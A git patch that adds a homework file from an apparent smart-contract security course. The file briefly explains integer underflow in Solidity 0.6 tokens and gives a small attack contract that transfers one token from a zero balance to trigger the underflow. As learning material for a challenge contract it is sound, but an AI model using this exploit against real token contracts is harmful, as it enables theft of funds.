From 307a216e192e42b44fc63d834e1b1f4e7e521c33 Mon Sep 17 00:00:00 2001
From: JdejesusIsaac <67152449+JdejesusIsaac@users.noreply.github.com>
Date: Sat, 13 May 2023 11:12:15 -0400
Subject: [PATCH] Create tokenHW

HW 5
---
 session-5-assignments/tokenHW | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)
 create mode 100644 session-5-assignments/tokenHW

diff --git a/session-5-assignments/tokenHW b/session-5-assignments/tokenHW
new file mode 100644
index 0000000..f22ef63
--- /dev/null
+++ b/session-5-assignments/tokenHW
@@ -0,0 +1,20 @@
+// we are exploiting SafeMath for solidity 0.6. Underflows and overflows.
+In solidity 0.6 SafeMath was not enabled, which means we wil be able to perform underflows and overflows without a problem.
+
+ex: If we have a balance of zero and then we put in a value of lets say 1. (0 - 1) will underflow. 
+
+
+
+pragma solidity ^0.8.0;
+
+interface IToken {
+    function transfer(address to, uint256 value) external returns (bool);
+    function balanceOf(address) external view returns (uint256);
+    
+}
+
+contract tokenHack {
+    constructor(address _tokenContract) {
+        IToken(_tokenContract).transfer(msg.sender, 1);
+    }
+}